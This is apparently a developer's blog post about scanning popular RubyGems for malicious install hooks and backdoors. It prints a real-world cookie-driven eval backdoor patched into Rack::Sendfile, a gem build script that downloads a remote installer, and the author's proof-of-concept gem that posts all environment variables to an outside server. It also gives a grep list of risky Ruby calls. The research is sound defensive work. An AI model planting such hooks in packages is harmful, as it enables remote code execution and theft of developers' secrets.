Search for vulnerabilities in public Ruby Gems

Open-source packages are an amazing, but also a scary gift. When you install and execute foreign code, you’re trusting that the proprietors are good citizens that aggressively audit code changes. On my dev laptop, I have unencrypted bitcoin wallets and API keys hardcoded in environment variables that any program would have access to when run.

Package hosts make it difficult for devs to audit the hosted code because there is no tight coupling between code-viewing platforms like Github and the compressed code that is hosted on the package tool. The code shared on Github could be completely different than the code hosted on the package server since the servers are not connected. The only true way to audit the library you’re using is to fetch, unpack, and inspect the millions of lines yourself.

Who has time to audit everything?

Ruby’s monkey patching and bundler tooling leave apps vulnerable to a variety of remote code execution attacks. I downloaded the latest version of every gem hosted on RubyGems.org to find what malware could be lying hidden in the open. I search 2,500,000 ruby files with golang to search for RCE, unexpected network requests, and more.

Malicions extconf.rb

During the bundle install process, code is executed from the gem if there is a extconf.rb file. extconf.rb by design contains instructions on how to build c libraries when installing the gem. Some gems are written in a lower-level language to take advantage of the better performance. An example is the fast_blank wherein c-land, which quickly determines if a string value is blank.

Monkey Patching Hooks

Monkey patching first-class types like String or Object can both improve the use-ability of these objects as well as expose vulnerabilities. In 2019, someone monkey patched the Rake::Sendfile to add their middleware to rails code that installed a bad version of bootstrap-saas.

begin
 require 'rack/sendfile'
 if Rails.env.production?
   Rack::Sendfile.tap do |r|
     r.send :alias_method, :c, :call
     r.send(:define_method, :call) do |e|
       begin
         x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
         eval(x) if x
       rescue Exception
       end
       c(e)
     end
   end
 end
rescue Exception
 nil
end

This code would allow the attacker to run arbitrary code passed in via the cookie. The code could share the machine’s configuration variables and database connections.

grep for sensitive Ruby code

The eval method executes a string as if it was ruby code (details). Most gems or rails applications should never use this cmd because it is too easy for abuse. Allowing a user-submitted string to be evaluated would let any user run code on your production machine and thus grant full access to your internal network. Scary stuff.

The send method acts similar to eval but it can be run in an object. For example, "kitten".send("capitalize") would capitalize “Kitten”. If a user-defined variable is given, instead of a hardcoded string, then potentially arbitrary ruby code could be defined and executed. Most gems should never use the send or eval methods.

Hackers can also open network requests to a server, sending private information about the machine installing the gem or running it. In ruby, you should verify that Net class is not being unexpectedly used to call a command and control center.

Most gems also should not be accessing the ENV object. Often developers store their private keys as environment variables instead of hardcoding them in code.

List of objects and methods to check:

  • ENV
  • eval
  • send
  • exec
  • \`
  • fork
  • spawn
  • syscall
  • system

Searching the top 100,000 ruby gems for exploits

Rubygems.org offers a data dump of all of the gems on rubygems with how much they were downloaded. For the sake of speed and bandwidth limitations, I will only fetch the top 100,000 for analysis.

I was a bit lazy and used a Gemfile and bundle install -j 8 to fetch the latest version of the 100,000 most popular ruby gems of 2020-11-15.

With the raw source code dumped into a local directory, I can use a mix of ruby and grep to search all of the gems for suspicious code. Unfortunately, I wasn’t able to fully automate the research process. My script searched for suspicious method calls, flagged the line along with the package name, and then I verified that each suspicious line was a false positive. For example, a ruby gem that adds a CSS framework should never use eval, but they may use it in their test cases. In general, it’s never good to use eval, using it in a test case that isn’t run on production should be safe.

The git repo powering this exploration can be found at https://github.com/KevinColemanInc/gem-sec-research.

Conclusion: What gems are vulnerable?

Highlights! Using sensitive ruby code isn’t inherently bad, so I’m not able to understand the intention of 200,000 ruby gems to determine if calling eval is malicious or expected. The much lower hanging fruit is what gems attack the server or developers box via extconf.rb. My gemsploit gem sends all of the ENV variables up to a server

Top picks

lwes_ext

lwes_ext, downloaded 69,122 times, when installed, downloads a script from a website and executes it. The script is no longer available, so it just crashes. Since the project and website aren’t maintained, I worry that a malicious actor could buy the domain if it was allowed to expire and swap in a more nefarious script.

uwsgi

# uwsgi-2.0.19/ext/uwsgi/extconf.rb
require 'net/http'

Net::HTTP.start("uwsgi.it") do |http|
  resp = http.get("/install")
  open("install.sh", "wb") do |file|
      file.write(resp.body)
  end
end

uwsgi is doing the same as lwes_ext, executing arbitrary code downloaded from the internet. The script behind this 404s now, so who knows what it was doing before?

httpcookie

This failure is intentional. You probably meant to install and run http-cookie

In httpcookie, a kind-hearted developer trying to prevent people from falling pre to typosquatting created a gem called httpcookie that all it does is fail on install. It warns the developer they mistyped the gem name and they need to go install the correct gem.

gemsploit

I wrote the gemsploit gem to explore what can happen with malicious code.

uri = URI.parse("https://jsonbin.org/kevincolemaninc/#{SecureRandom.uuid}")
request = Net::HTTP::Post.new(uri)
request["Authorization"] = "token " # withheld
request.body = JSON.dump(ENV.to_h)

By installing this gem, all of your ENV variables are posted up to jsonbin.org for public viewing. My development machine had AWS secrets, bitcoin wallet secrets, and other hard-coded passwords. I have since moved to use dotenv to silo my env secret keys, but this still doesn’t protect gems from scanning your hard drive for unprotected BTC wallets.

Further Reading

[EN] How to take over a Ruby gem / Maciej Mensfeld @maciejmensfeld

This conference talk was the inspiration for this exploration.

Diffend

This is a really neat project that makes it easy to compare changes across versions of gems. You still have to take the time to audit the changes, but hopefully, with their clean interface, it does not take you too long.

Source Code

You can find the source code for lib-scanner on github. The project is (mostly) written in golang with an in-depth readme file explaining how the code pipeline works.

Future work

I’d love to bring this scanner to other languages like golang or python. Please shoot me an email (kevin at sparkstart.io) if you’re interested in collaborating!